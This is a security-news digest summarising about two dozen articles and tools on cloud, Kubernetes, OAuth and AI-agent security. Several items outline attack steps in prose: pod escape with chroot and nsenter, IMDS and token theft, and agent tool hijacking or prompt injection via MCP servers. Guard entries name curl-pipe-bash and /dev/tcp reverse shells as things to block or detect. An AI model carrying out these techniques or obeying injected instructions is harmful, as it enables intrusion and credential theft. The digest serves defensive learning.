    • Caveats: Rules cost about 1,160 input tokens, so per-request billing like Copilot saves nothing; several features are unmeasured; results vary.
    • Privacy: Telemetry is on by default (commands, token counts, install ID, IP); disable with caveman telemetry off or DO_NOT_TRACK=1.

    Takeaway: Try Caveman to cut agent token spend on per-token billing, but turn telemetry off first and check whether Auto mode sends prompts to Caveman Cloud.

  • Glance: A Self-Hosted Dashboard That Puts All Your Feeds in One Place
    summary

    TL;DR: Glance is a lightweight self-hosted Go dashboard that aggregates RSS, Reddit, Hacker News, weather, releases, containers and server stats into one YAML-configured page.

    • Widgets: RSS, subreddits, Hacker News, Lobsters, weather, calendar, YouTube, Twitch, markets, GitHub releases, Docker container status and server stats.
    • Custom widgets: iframe, html, extension (fetch HTML from a URL) and custom-api (render JSON with custom HTML).
    • Config: YAML with pages, columns and widgets; supports .env variables, widget groups and a user.css for styling.
    • Footprint: Single binary under 20 MB, low memory, minimal vanilla JavaScript, small Docker image.
    • Fetching model: Data loads on page request and is cached per widget; no background polling, so pages need manual refresh.
    • Install: Docker Compose template (docker compose up -d, port 8080), prebuilt binaries for Linux/Windows/macOS on x86 and ARM, or build with Go 1.23+.
    • Known issues: Pi-hole or AdGuard Home can rate-limit many widget requests; Podman timeouts; Dark Reader breaks layouts.
    • License: AGPL-3.0.

    Takeaway: Run Glance as a small homelab start page with Docker Compose, and raise your DNS filter’s rate limit if widgets time out.

  • Docker Hardened Images for Everyone
    summary

    TL;DR: Docker made its Hardened Images free and Apache 2.0 licensed for all developers in December 2025, offering minimal Debian/Alpine-based images with SBOMs and SLSA Build Level 3 provenance.

    • Announcement: Over 1,000 hardened images and Helm charts are now free and open source; DHI originally launched in May 2025.
    • Security features: Complete verifiable SBOM per image, CVEs assessed against public data without suppression, SLSA Build Level 3 provenance and proof of authenticity.
    • Runtime: Distroless runtime built on Debian and Alpine; Docker claims images up to 95% smaller.
    • New additions: Hardened Helm charts and hardened MCP servers such as Mongo, Grafana and GitHub.
    • Enterprise tier: FIPS and STIG-ready images, CIS compliance, critical CVE patches in under 7 days, customisation and build service.
    • ELS add-on: Up to five extra years of patches after upstream end of life.
    • Migration: An experimental AI assistant scans containers and suggests equivalent hardened images.
    • Caveats: Free tier lacks patch SLA, FIPS/STIG and post-EOL support; size and “near zero” CVE claims are self-reported; Enterprise patches may diverge from upstream.

    Takeaway: Swap common base images for free DHI equivalents to cut CVE noise and gain SBOM plus provenance, and budget for Enterprise only if you need SLA-backed patching or FIPS.

  • Tales of OIDC & OAuth Security: What It Takes to Trust a Token
    summary

    TL;DR: Mercari’s security team frames OAuth/OIDC security as answering who the user is, whether they intended the action, and whether the client should receive the tokens, with common attack patterns.

    • Thesis: Secure flows must establish user legitimacy, user intent and correct token recipient, all on a client free of XSS; threat model first.
    • Redirect URI bypass: Loose startsWith/endsWith checks accept attacker-mercari.com or mercari.com.attacker.com; use exact matching.
    • Open redirect chaining: Allowing /callback path prefixes plus an open redirect like /shop?next= forwards codes to attackers.
    • Hybrid flow leak: With response_type=code id_token, the ID token sits in the URL fragment, which survives redirect chains.
    • State and nonce: Use cryptographically random values; nonces must be single-use or ID tokens can be replayed.
    • PKCE limit: Does not help if the attacker starts the flow with their own code_challenge and intercepts the code.
    • DPoP: Many implementations skip binding the access token to the key at issuance, letting stolen tokens be reused with attacker-signed proofs.
    • Mix-up attacks: Multi-IdP setups sharing one callback can send codes to a malicious server; validate iss and use per-provider redirect URIs.
    • Caveats: Deliberately concise; does not cover aud, alg, signature or expiry checks, and reports no specific Mercari vulnerabilities.

    Takeaway: Review your OAuth clients for exact redirect matching, single-use nonces, iss validation and DPoP key binding, and consider PAR or FAPI 2.0 for sensitive APIs.

  • BadPods Series: Everything Allowed on AWS EKS
    summary

    TL;DR: Part 1 of a BadPods series showing how BishopFox’s “everything allowed” pod on AWS EKS escapes to the node, hijacks neighbour pods and steals the node IAM role.

    • Testbed: EKS on Kubernetes 1.34, two c7i-flex.large Amazon Linux 2023 nodes, default Pod Security Admission, which admitted the pod without warnings.
    • Manifest: privileged: true, hostPID, hostIPC, hostNetwork and a hostPath of / mounted at /host.
    • Node escape: chroot /host lands on the node filesystem with access to /var/lib/kubelet and /run/containerd/containerd.sock.
    • Lateral movement: From the host, nerdctl ps/inspect find a victim nginx pod’s PID, and nsenter enters its namespaces.
    • IMDS bypass: hostNetwork puts the pod in the node’s network namespace, so http_put_response_hop_limit = 1 does not block 169.254.169.254.
    • IMDSv2 no help: The pod fetches its own session token (21600 s TTL), so token enforcement does not stop credential theft.
    • Impact: aws sts get-caller-identity returned the eks-demo-node role, which had AdministratorAccess attached on purpose for maximum impact.
    • Caveats: Lab cluster, victim pinned with nodeSelector, PSA restricted profile not tested; AKS, GKE Autopilot and reduced-flag pods come in later parts.

    Takeaway: Enforce PSA baseline/restricted on EKS namespaces, treat hostNetwork as direct IMDS access, and keep node IAM roles minimal.

  • TAWS: Terminal UI for AWS Resource Viewing and Management
    summary

    TL;DR: taws is a k9s-style terminal UI for AWS, written in Rust, for browsing and managing resources across profiles and regions from the keyboard.

    • What it is: Rust and Ratatui TUI, MIT licensed, inspired by k9s, with vim-like navigation and JSON/YAML detail views.
    • Coverage: The supported-services section lists 30 services and 51 resource types, including EC2, EKS, Lambda, IAM, KMS, S3, RDS and CloudTrail.
    • Actions: Start, stop and terminate EC2 instances, and press c to open an SSM shell session on Linux instances.
    • Filtering: Local fuzzy match, or server-side AWS API filters such as Filters: tag:<key>=value after /.
    • Auth chain: Environment variables, SSO, aws login sessions, role assumption with external_id, credentials and config files, then IMDSv2.
    • Safety flags: --readonly blocks write operations, and --endpoint-url targets LocalStack or custom endpoints.
    • Install: brew install huseyinbabal/tap/taws, cargo install taws, Scoop, release binaries, or the ghcr.io/huseyinbabal/taws image.
    • Limits: Needs at least Describe*/List* permissions, cannot show total resource counts, and global services always use us-east-1.

    Takeaway: Try taws with --readonly as a fast console replacement for day-to-day AWS triage, especially on SSO-backed multi-account setups.

  • Tailsnitch: Security Auditor for Tailscale Configurations and Misconfigurations
    summary

    TL;DR: Tailsnitch is a Go CLI from Adversis that audits a Tailscale tailnet for risky ACLs, auth keys, devices and settings, with optional API-driven fixes.

    • Coverage: 57 checks across 7 categories: access, auth, network, ssh, log, device and dns.
    • Critical checks: ACL-001 default allow-all, ACL-002 SSH autogroup:nonroot, ACL-006 broad tagOwners, ACL-007 autogroup:danger-all.
    • Auth: Prefers an OAuth client (TS_OAUTH_CLIENT_ID/TS_OAUTH_CLIENT_SECRET) with read-only all:read, or TS_API_KEY, which inherits the creator’s rights.
    • Honest gaps: A check that lacks a scope reports “could not read” instead of passing.
    • Fix mode: --fix (with --dry-run/--auto) deletes risky auth keys, strips tags, removes stale devices and authorizes pending ones.
    • Output: Terminal report, --json, and --soc2 json|csv evidence mapped to controls such as CC6.1 and CC7.2.
    • Ignores: .tailsnitch-ignore suppresses checks or single items, but only downgrades them to Informational.
    • Caveats: Tailnet Lock checks use the local tailscale CLI; the ignore file may come from a cloned repo; AUTH-005/006 unverified live.

    Takeaway: Run tailsnitch with a read-only OAuth client in CI and fail the job on critical or high findings.

  • AWS Privilege Escalation: IAM, Service & AI Threats
    summary

    TL;DR: Software Secured maps AWS privilege escalation from classic IAM edits to service abuse and new Bedrock AgentCore paths, and shows which ones native controls cannot block.

    • Era 1, IAM: iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:PutUserPolicy, iam:UpdateAssumeRolePolicy, iam:CreateAccessKey, iam:CreateLoginProfile.
    • Era 2, services: lambda:UpdateFunctionCode, EventBridge routing, poisoned ECR images and Step Functions chains, usually enabled by iam:PassRole.
    • Era 3, AI: bedrock-agentcore-control:CreateCodeInterpreter runs Python under the agent’s IAM role with unrestricted SDK calls.
    • Agent tool hijack: Replacing the Lambda behind an agent action group with schema-conforming malicious code lets the agent exfiltrate S3 data.
    • Role pivoting: iam:PassRole over shared AgentCore trust domains lets an interpreter creator run as a more privileged role.
    • Control gaps: IAM and STS have no resource policies, and actions with Resource: "*" can only be allowed or denied globally by SCPs.
    • Framework: Ask whether a permission grants code execution, credentials, policy changes, cross-service routing or lateral movement into compute.
    • Numbers: 16 of 16 scenarios (12 IAM-Vulnerable, 4 modern) were exploitable unrestricted and blocked by SCP-based guardrails.
    • Caveats: Co-written with Sonrai, whose Cloud Permissions Firewall supplied the guardrails; tools cited include Pacu, PMapper, CloudFox and CloudGoat.

    Takeaway: Treat AgentCore Code Interpreters and agent Lambdas as privileged compute, and restrict iam:PassRole and CreateCodeInterpreter with SCPs.

  • Vulnerable MCP Servers Lab: Learn Pentesting MCP Servers
    summary

    TL;DR: Appsecco’s lab of deliberately vulnerable local and remote MCP servers for practising attacks on AI tool integrations, from prompt injection to RCE.

    • Purpose: Training and research on MCP failure modes: data exposure, instruction injection, supply-chain compromise and code execution.
    • Filesystem server: Naive path joining enables path traversal, and a Python tool runs code without a sandbox.
    • Indirect prompt injection: Local stdio and remote HTTP+SSE servers return documents verbatim, hidden instructions included.
    • Code execution: A “quote of the day” tool evaluates attacker-controlled JavaScript through an unsafe formatting feature.
    • Malicious tools: A fake status tool injects misleading instructions and fabricates plausible incidents.
    • Supply chain: twittter-mcp shows namespace typosquatting, and another server ships outdated vulnerable dependencies.
    • Secrets: Utility tools embed sensitive values in source and leak them through logs; a Wikipedia server shows remote-content injection.
    • Setup: Each server has its own README, and many include a claude_config.json snippet for Claude Desktop.
    • Warnings: Run only in a disposable VM or container on an isolated network, with no real secrets.

    Takeaway: Use the lab to test how your agents treat MCP tool output, and vet MCP server names and dependencies before installing them.

  • Everything I’ve Said About AI Since 2016: A Retrospective
    summary

    TL;DR: Daniel Miessler’s AI assistant Kai grades every AI prediction he made since 2016, with a revised, stricter scorecard after readers called the first version too generous.

    • Method: Searched 3,000+ posts and 500+ newsletters; grades are RIGHT, MOSTLY RIGHT, STILL OPEN, WRONG, NOT GRADABLE; the stricter grade wins.
    • Scorecard: 9 right, 13 mostly right, 18 still open, 4 wrong, plus 8 takes excluded as not gradable.
    • Best calls: Assistants understanding user context (2016), “slack in the rope” beyond pure scaling (2024), and 2025 as the year of agents.
    • Security call: Prompt injection as endemic (Nov 2023) graded right; it tops the OWASP LLM Top 10.
    • Open risk: Catastrophic assistant hacks still open, though EchoLeak (CVE-2025-32711, CVSS 9.3) and CVE-2025-53773 confirm the attack class.
    • Misses: Liberal arts renaissance, reputation as infrastructure, blue-collar-first replacement, and the Apple AI turnaround timing.
    • AGI: The 60% by 2025 leg already missed by Daniel’s own definition; 90% by 2028 remains open.
    • Caveats: Kai is built and run by Daniel, and the revision cut an unsourced stat and narrowed several claims.

    Takeaway: Note the security calls: plan for prompt injection as a permanent vulnerability class in any assistant or agent you deploy.

  • 2025 LLM Year in Review
    summary

    TL;DR: Andrej Karpathy’s review of six LLM paradigm shifts in 2025, from RLVR reasoning training to Claude Code, vibe coding and visual LLM interfaces.

    • RLVR: Reinforcement learning on verifiable rewards became a major training stage, from o1 (late 2024) to o3 (early 2025).
    • Test-time compute: RLVR made longer “thinking” a new capability lever with its own scaling law, absorbing compute once meant for pretraining.
    • Jagged intelligence: LLMs are “ghosts”, not animals; capability spikes near verifiable domains, and jailbreaks still trick them.
    • Benchmarks: He has lost trust in them because labs “benchmaxx” with RLVR and synthetic data near benchmark regions.
    • App layer: Cursor showed LLM apps that do context engineering, orchestrate DAGs of calls, give a GUI and an autonomy slider.
    • Local agents: Claude Code proved agents that loop over tools on localhost with your data, secrets and config beat cloud containers.
    • Vibe coding: Building software by describing it in English, e.g. a Rust BPE tokenizer for nanochat without learning Rust.
    • LLM GUI: Gemini “Nano banana” hints at models answering with images, slides and apps instead of console-style text.
    • Bottom line: Models are smarter and dumber than expected, with well under 10% of their potential realised so far.

    Takeaway: Expect local coding agents with access to your secrets and config to spread; scope their credentials and permissions now.

  • AI Engineer YouTube Channel
    summary

    TL;DR: AI Engineer’s YouTube channel posts free recordings of its in-person conference talks for AI engineers, founders and researchers, with about 1.4K videos.

    • What it is: The channel turns “high signal in-person events” into free learning for “millions around the world”.
    • Size: About 846K subscribers and 1.4K videos when checked.
    • Format: Conference talks titled by topic plus speaker and company.
    • Recent themes: Agent testing and evals, coding agents, AI in banking, compute markets and inference performance.
    • Example talks: “Don’t Trust Your AI Agents. Test Them Like a Scientist” (Omni Analytics) and “Is the Agent Harness Dead?”.
    • Security-relevant: “How to Let AI Agents Sign Up for Your App Safely” (WorkOS) and “How to Know When an AI Agent Can Work Unsupervised” (Coinbase).
    • Enterprise cases: Monzo built its own coding agent, and Wells Fargo trained its own foundation model to catch fraud.
    • Funding: The channel says subscribers, attendance, speaking and sponsorships keep the model sustainable.

    Takeaway: Search the channel for agent-security and eval talks when designing guardrails or approval rules for internal AI agents.

  • Claude Code Safety Net: Catch Destructive Git and Filesystem Commands Before Execution
    summary

    TL;DR: CC Safety Net is a pre-execution guard that blocks AI coding agents from running destructive commands or reading secrets before the tool call runs.

    • Blocks: git reset --hard, git push --force, rm -rf on dangerous targets, and curl … | bash installers.
    • Secrets: Denies access to SSH keys, .env files, ~/.aws and coding-CLI credentials, in shell commands and file tools.
    • How it works: Parses what a command does, so wrapping it in bash -c/python -c or reordering flags does not hide it.
    • Agents: Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot CLI, OpenCode, Amp and about ten more.
    • Install: Needs Node.js 18+; run npx -y cc-safety-net@latest install, then doctor; keep @latest to avoid a stale npx cache.
    • Config: npx cc-safety-net gui picks Standard, Strict or Paranoid presets; rulebooks cover Terraform, AWS, gcloud and Azure.
    • Team use: Commit .cc-safety-net/ to share rules; a broken config falls back to safe defaults; checkCommand is a Node API.
    • Limits: Not a sandbox: no process containment, filesystem permissions or network egress monitoring.

    Takeaway: Add it as a cheap guardrail for agent sessions, but pair it with a real sandbox, because it only filters commands.

  • Leash: Take Your AI Agents for a Walk by StrongDM
    summary

    TL;DR: StrongDM Leash runs AI coding agents in containers, records their filesystem, network and MCP activity, and enforces Cedar policies on it.

    • Architecture: An agent container bind-mounts the current directory; a Leash container monitors syscalls, applies policy and serves the UI.
    • Policy: Written in Cedar, set with --policy or LEASH_POLICY_FILE, backed by audit trails.
    • MCP observer: Inspects, records and enforces MCP tool calls, correlated with filesystem and network telemetry.
    • Agents: claude, codex, gemini, qwen and opencode ship in the default coder image.
    • Credentials: Prompts before mounting host agent config like ~/.claude; forwards keys such as ANTHROPIC_API_KEY and OPENAI_API_KEY.
    • Usage: leash --open claude launches the agent with the Control UI on 127.0.0.1:18080.
    • Install: npm install -g @strongdm/leash, release binaries, or Homebrew cask for an experimental native macOS mode.
    • Requirements: Docker, Podman or OrbStack on macOS or Linux (WSL supported); Apache-2.0.
    • Caveats: The README states no limits, overhead figures or monitoring blind spots.

    Takeaway: Use Leash when you need auditable, policy-enforced agent sessions rather than just command filtering.

  • Gixy-Next: NGINX Configuration Security Scanner and Performance Checker
    summary

    TL;DR: Gixy-Next is a maintained fork of Yandex’s Gixy that statically analyses NGINX configs for security misconfigurations, hardening gaps and performance pitfalls.

    • Why a fork: Original Gixy is unmaintained and fails on modern Python with a NameError on SRE_FLAG_TEMPLATE.
    • Lineage: Forked from gixy-ng after what the maintainer calls AI-generated changes, regressions and advertising.
    • Checks: 38 plugins, including alias_traversal, ssrf, host_spoofing, http_splitting, regex_redos and version_disclosure.
    • Access control: allow_without_deny and return_bypasses_allow_deny catch broken allow/deny logic.
    • Scale: Tested on NGINX configurations close to 100,000 lines.
    • Install: pip3 install gixy-next, Docker images megamansec/gixy-next, or a browser WebAssembly scanner at gixy.io.
    • Usage: gixy reads /etc/nginx/nginx.conf by default and accepts nginx -T dumps via stdin with -.
    • CI: -f sarif -o writes SARIF 2.1.0 for GitHub code scanning; -l/-ll/-lll filter severity.
    • Limits: Static analysis only; it does not test a running server.

    Takeaway: Add nginx -T | gixy - with SARIF output to CI so NGINX changes are checked for traversal and SSRF before deploy.

  • How We Scaled Code Repository Management at DNSimple
    summary

    TL;DR: DNSimple describes moving management of hundreds of GitHub repositories from an ad-hoc Ruby script to Terraform run by GitHub Actions and Terraform Cloud.

    • Problem: Hundreds of repositories drifted on settings, labels, templates and permissions, with vulnerability alerts enabled inconsistently.
    • Failed attempt: Repocop, a Ruby Thor CLI, ran from workstations without review or history; unused by early 2024, deleted June 2025.
    • Terraform v1: A 2022 experiment reframed the problem as ownership, rolled out early 2023, still applied from laptops.
    • Turning point: Early 2024 CI/CD: PRs touching workspace/** post a plan comment, and merges to main apply.
    • Resources: integrations/github provider with github_repository and github_repository_file for PR templates, issue templates and CODEOWNERS.
    • Data model: One repos map with visibility, vulnerability_alerts, topics, permissions and archive_on_destroy per repo.
    • Topics as tags: Encode language, team ownership and policy, making repositories searchable.
    • Numbers: Updating a PR template across 200 repositories became a single-line change.
    • Caveats: No before-and-after metrics; compliance checking and dependency tracking are only exploratory.

    Takeaway: Manage GitHub org settings as Terraform with plan-on-PR and apply-on-merge, and set archive_on_destroy to avoid deleting repos.

  • Heimdall: AWS Attack Path Scanner for Privilege Escalation Discovery
    summary

    TL;DR: Heimdall is a Python CLI that maps AWS IAM privilege escalation and cross-service attack paths, including in Terraform plans before deployment.

    • Claimed scale: 50+ IAM escalation patterns, 85+ attack chain patterns mapped to MITRE ATT&CK, and 10 services analysed.
    • Attack chains: Multi-step paths with a 0-100 blast radius score and step-by-step narratives via heimdall iam attack-chain.
    • Cross-service: Checks EC2 IMDSv1 and profiles, public RDS and S3, Lambda env vars, KMS grants, STS trust and SQS/SNS policies.
    • Shift left: heimdall terraform scan plan.json --fail-on critical compares attack paths before and after a change.
    • Interfaces: heimdall iam tui, a heimdall dashboard overview, and SARIF, CSV or JSON export.
    • Baseline: .heimdall-ignore accepts known risks.
    • Permissions: Core scan needs iam:List*, iam:Get* and sts:GetCallerIdentity; cross-service adds read actions.
    • Install: Python 3.9+, clone and pip install -e ., then heimdall doctor.
    • Caveats: Pattern counts and low false-positive claims lack methodology; multi-account org scanning is roadmap; --explain AI mode undocumented.

    Takeaway: Run heimdall terraform scan in CI to catch IAM changes that open new escalation paths before they are applied.

  • The Cloud-Native Detection Engineering Handbook
    summary

    TL;DR: A practical handbook for cloud-native detection engineering, covering nine phases from threat research to tuning, with detection-as-code and multi-cloud log normalisation.

    • Prioritise: Rank TTPs by exploitability, blast radius and detection return; favour privilege escalation and lateral movement over noisy recon.
    • Telemetry first: Validate log sources and coverage with red team or simulated ground truth; mark a detection INFEASIBLE if data is missing.
    • Normalise: Map GKE, EKS and AKS logs to ECS or OCSF in Bronze, Silver and Gold layers: “Normalize once, deploy everywhere”.
    • Enrich: Add identity, IP reputation, geolocation, asset metadata, baselines and a 1-hour temporal window.
    • Techniques: T1525 implanted images, T1609 kubectl exec, T1619 storage discovery, reverse shells via curl | bash and /dev/tcp/.
    • Testing: Unit, replay, negative and red team tests, with pytest treating detections as functions.
    • Deploy: Detection-as-code with Terraform for BigQuery, Databricks and Lambda jobs, peer review and rollback via git revert.
    • Numbers: Log lag under 5 minutes, target FP rate below 5%, retune above 20%; claimed 90% FP cut from Gold-layer filtering.
    • Caveats: Results come without methodology, schemas are simplified, and SQL and Terraform snippets are illustrative.

    Takeaway: Store detections as tested code with Terraform deployment, and normalise multi-cloud Kubernetes audit logs to one schema first.

  • skills: Trail of Bits Claude Code Skills for Security Research and Audit Workflows
    summary

    TL;DR: Trail of Bits’ public marketplace of skills and plugins for AI-assisted security analysis, auditing, verification and development, usable from Claude Code, Codex and ChatGPT workspaces.

    • Code auditing: Largest group, including differential-review, insecure-defaults, sharp-edges, static-analysis, semgrep-rule-creator, variant-analysis, supply-chain-risk-auditor, agentic-actions-auditor.
    • Verification: constant-time-analysis, mutation-testing, property-based-testing, spec-to-code-compliance, zeroize-audit, writing-lean-proofs.
    • Other security: Smart contracts (building-secure-contracts), malware (yara-authoring), reverse engineering (dwarf-expert), mobile (firebase-apk-scanner).
    • Development: modern-python, modern-cpp, gh-cli, devcontainer-setup, second-opinion, git-cleanup, open-sourcing.
    • Install (Claude Code): /plugin marketplace add trailofbits/skills, then /plugin menu.
    • Install (Codex): codex plugin marketplace add trailofbits/skills, then codex plugin add <plugin-name>@trailofbits.
    • Trophy case: The constant-time-analysis skill found a timing side-channel in ML-DSA signing.
    • Caveats: Local add must run from the repo’s parent directory; ChatGPT import needs interface.display_name in agents/openai.yaml.
    • License: CC-BY-SA-4.0; contributors run make check, which covers most but not all of CI.

    Takeaway: Add the marketplace and install only the audit skills you need, such as insecure-defaults and supply-chain-risk-auditor, for security reviews.

  • Streamlining Security Investigations with Agents
    summary

    TL;DR: Slack Security Engineering explains how it replaced one large prompt with a structured team of AI agents to investigate detection alerts.

    • Problem: Billions of events per day make alert triage the main on-call load; a ~300-word single-prompt prototype (May 2025) gave inconsistent results.
    • Root cause: Prompts are only guidelines and give no fine-grained control over the investigation process.
    • Fix: Split work into single-purpose model calls with JSON-schema outputs, chained by the application.
    • Roles: A Director plans and steers; four experts cover Access, Cloud, Code and Threat; a Critic scores findings against a rubric.
    • Cost tiers: Low-, medium- and high-cost models for experts, Critic and Director respectively; models are not named.
    • Phases: Discovery queries every expert, Trace targets one, a Director Decision meta-phase advances, and Conclude writes the report.
    • Tooling: A stdio MCP server exposes data sources; a hub, scalable workers and a dashboard run production investigations.
    • Result: The Critic caught a credential exposed in an ancestor process command line that an expert missed.
    • Limits: Early phase, edited example report, no accuracy, false-positive, cost or throughput figures.

    Takeaway: For agentic triage, use structured single-purpose steps and a separate critic model instead of relying on one long prompt.

  • Phishing Actors Exploit Complex Routing and Misconfigurations to Spoof Domains
    summary

    TL;DR: Microsoft Threat Intelligence shows phishers spoofing a tenant’s own domain when MX routing goes through third parties and SPF, DKIM or DMARC are not enforced.

    • Problem: Attackers send mail that appears internal, with the same address in “To” and “From”, hitting tenants whose MX records do not point to Office 365.
    • Root cause: Complex routing through on-prem Exchange or third-party filters breaks native spoof detection; Microsoft says it is a configuration gap, not a Direct Send flaw.
    • Misconfigurations: SPF soft fail ~all instead of -all, DMARC p=none, no DKIM signing, and misconfigured third-party connectors or mail flow rules.
    • Tooling: Most activity uses the Tycoon2FA AiTM phishing-as-a-service kit; Microsoft blocked over 13 million Tycoon2FA-linked emails in October 2025.
    • Lures: Password expiry, voicemail, HR and DocuSign/SharePoint themes, QR codes in attachments, Google Maps redirects, Base64-encoded recipient URLs and custom CAPTCHA gates.
    • Financial scam: Fake CEO email threads push ACH payment of invoices around $9,860, backed by a fake invoice, a W-9 with a stolen SSN and a fake bank letter.
    • Header indicators: X-MS-Exchange-Organization-InternalOrgSender: True with incoming directionality, AuthAs: Anonymous, and reason codes 905, 451 or 601 showing delivery despite failures.
    • Mitigations: DMARC reject, SPF hard fail, DKIM on, correct connectors and enhanced filtering, Safe Links, ZAP, and phishing-resistant MFA such as FIDO2 or passkeys.
    • Hunting: Defender XDR EmailEvents queries find inbound mail with no connector, your own domain as sender, and failed SPF, DKIM or DMARC.

    Takeaway: If your MX does not point straight at Office 365, set DMARC to reject, SPF to -all and DKIM on, then hunt EmailEvents for self-domain mail that failed authentication.

  • A Brief Deep-Dive into Attacking and Defending Kubernetes
    summary

    TL;DR: A hands-on walk through eight Kubernetes attack techniques, each paired with hardening steps and custom Falco rules, built and tested on a microk8s lab.

    • Anonymous access: Kubelet ports 10250 and 10255 default to AlwaysAllow, and API server risk depends on what system:anonymous is bound to; tested with kubeletctl and curl.
    • RBAC abuse: cluster-admin bindings, wildcards and the bind/escalate verbs allow escalation; an Aqua honeypot case used a rogue kube-controller ClusterRole to deploy a cryptominer.
    • Token theft: A stolen token from /var/run/secrets/kubernetes.io/serviceaccount/token creates a privileged pod that mounts the host and escapes with chroot.
    • Persistence: A rogue MutatingWebhookConfiguration injects a privileged initContainer into every new pod and survives credential rotation; a CoreDNS rewrite rule in the ConfigMap redirects service names.
    • Host and etcd: hostPath mounts of /, /var/log or the Docker socket enable symlink and SUID attacks; Shodan shows about 4.7k exposed etcd endpoints, and kubetcd creates hidden “ghost pods”.
    • Golden Ticket: With ca.key and sa.key, k8s_spoofilizer forges admin certs and tokens; Kubernetes has no certificate revocation, so only a CA rebuild evicts the attacker.
    • Detections: Falco rules use the k8s_audit source (ka.user.name, ka.verb) and syscalls (execve, openat, symlinkat), with alerts routed through Falco Sidekick.
    • Hardening: Set --anonymous-auth=false, kubelet --authorization-mode=Webhook, automountServiceAccountToken: false, etcd --client-cert-auth, Secrets encryption at rest and an immutable CoreDNS ConfigMap.
    • Caveats: Paths and ports are microk8s-specific (API server 16443, etcd 12379), several rules rely on string matching, and none were validated against production traffic.

    Takeaway: Disable anonymous auth on the kubelet and API server, audit cluster-admin and wildcard bindings, and deploy Falco with audit-log rules for webhook, CoreDNS and etcd changes.

  • k8s-custom-detections: Curated Falco Detection Rules and Audit Policies for Kubernetes Attack Techniques
    summary

    TL;DR: Companion repo to a Kubernetes attack research post, with custom Falco rules, attack simulation scripts and a lab setup for testing detections of real cluster attacks.

    • Purpose: Detect real-world Kubernetes attacks with Falco rules designed to be readable, auditable and tunable.
    • Coverage: Anonymous API access, permissive RBAC, ServiceAccount token abuse, CoreDNS manipulation, etcd access, hostPath escapes, malicious admission controllers and Golden Ticket cert forgery.
    • Layout: falco/rules/ holds rule files grouped by attack class, examples/ holds attack simulation scripts, and lab-setup/ holds setup, cleanup and Helm values.
    • How it works: Example scripts mimic attacker behavior one at a time or chained, so you can watch the matching Falco rules fire.
    • Setup: Clone the repo, run the setup script, paste rules into the empty customRules block of the Helm values, then helm upgrade the falcosecurity/falco chart in the falco namespace.
    • Tested on: Ubuntu 24.04 only.
    • Caveats: The README says lab_setup/ but the folder is lab-setup/; the repo lists no license; rules need tuning before real use.
    • Numbers: 81 commits and 58 stars at the time of fetch.

    Takeaway: Run the example scripts in a throwaway cluster to validate the Falco rules, then tune and port the useful ones into your own Falco Helm customRules.

  • promptfoo: Test Your Prompts, Agents, and RAGs with Red Teaming and Vulnerability Scanning
    summary

    TL;DR: promptfoo is an MIT-licensed CLI and library for evaluating and red-teaming LLM apps and agents with declarative configs that also run in CI/CD.

    • What it is: An open-source tool for testing prompts, models and agents; the README says the project is now part of OpenAI and stays open source.
    • Evals: Run automated evaluations and compare models side by side, with results shared in a web viewer.
    • Red teaming: Vulnerability scanning of LLM apps that produces security reports; plugin details are linked from the README, not documented in it.
    • Code scanning: Reviews pull requests for LLM-related security and compliance issues.
    • Providers: OpenAI, Anthropic, Azure, Bedrock and Ollama, plus Gemini and DeepSeek; most need an API key such as OPENAI_API_KEY.
    • Setup: Install with npm install -g promptfoo, brew install promptfoo or pip install promptfoo, or run npx promptfoo@latest.
    • Workflow: promptfoo init --example getting-started, then promptfoo eval and promptfoo view.
    • Claims: Evals run locally with live reload and caching; the “10M+ users” figure is self-reported.
    • Caveats: “100% local” covers the tool only, because calls to hosted model APIs still send prompts to those providers.

    Takeaway: Add promptfoo eval and red-team scans to CI for any LLM feature you ship, so prompt or model changes fail the pipeline when quality or safety regresses.

  • Best Practices for Coding with Agents
    summary

    TL;DR: Cursor’s guide to working with coding agents argues the developer’s job shifts to planning, giving context, setting verifiable goals and reviewing output.

    • Harness: Instructions, tools and model together shape behavior, and Cursor tunes prompts and tools for each model.
    • Planning: Plan Mode (Shift+Tab) researches the codebase and writes an editable Markdown plan saved to .cursor/plans/; when output is wrong, revert and rerun from a tighter plan.
    • Context: Let the agent find files with grep and semantic search, and start a new chat when the task changes or the agent keeps repeating mistakes.
    • Rules: Keep short Markdown files in .cursor/rules/ with build and test commands, and point to example files rather than copying them; add a rule only after a mistake repeats.
    • Skills and hooks: SKILL.md skills load only when relevant (Nightly channel only); a stop hook in .cursor/hooks.json loops until .cursor/scratchpad.md says DONE, capped at 5 iterations.
    • TDD workflow: Write tests, confirm they fail and commit them, then have the agent implement without changing the tests.
    • Commands: Reusable /pr, /fix-issue, /review and /update-deps live in .cursor/commands/ and use gh.
    • Parallel and cloud: Git worktrees isolate parallel agents, one prompt can run on several models side by side, and cloud agents work in remote sandboxes and open PRs.
    • Caveats: This is vendor content, agent code can look right but be subtly wrong, and loops need iteration caps and checkable success criteria.

    Takeaway: Give agents checkable goals such as tests, linters and type checks, keep rules short and versioned in git, and cap any autonomous loop with an iteration limit.

  • Running Renovate as a GitHub Action (and NO PAT!)
    summary

    TL;DR: Chainguard shows how to run Renovate as a scheduled GitHub Action, using Octo STS for short-lived tokens so no long-lived personal access token is stored.

    • Why an Action: Suits small projects with little configuration and no extra infrastructure, but scheduled runs pick up new versions later than hosted Mend or a self-hosted setup.
    • Auth problem: The official docs suggest a fine-grained PAT, which is a long-lived credential that attackers target.
    • Default token limit: The built-in Actions token cannot update GitHub Actions workflows, which rules it out for many teams.
    • How it works: Octo STS exchanges the workflow’s OIDC token for a scoped GitHub token after it checks issuer and subject against .github/chainguard/renovate.sts.yaml.
    • Setup: Install the Octo STS app on the repo, add .github/workflows/renovate.yaml with a nightly 3 AM cron and manual trigger, add the trust policy and renovate.json.
    • Config hardening: Pin container images and Actions to digests, and set minimumReleaseAge to 1 day so you skip malicious releases that get pulled quickly.
    • Automerge: Enabled for everything except major versions in the example, so it is a deliberate trade-off against human review.
    • Caveats: The Octo STS app asks for broad privileges, though you can limit it to chosen repos; closing a PR stops Renovate reopening that update.

    Takeaway: Replace Renovate PATs with OIDC-based token exchange such as Octo STS, pin dependencies to digests and add a minimumReleaseAge cool-down before enabling automerge.

31.12.2025

  • All Paths Lead to Your Cloud: A Mapping of Initial Access Vectors to Your AWS Environment
    summary

    TL;DR: Palo Alto Networks maps how AWS initial access happens through misconfiguration rather than exploits, grouped into publicly exposed services and misconfigured access-control services like IAM, IoT and Cognito.

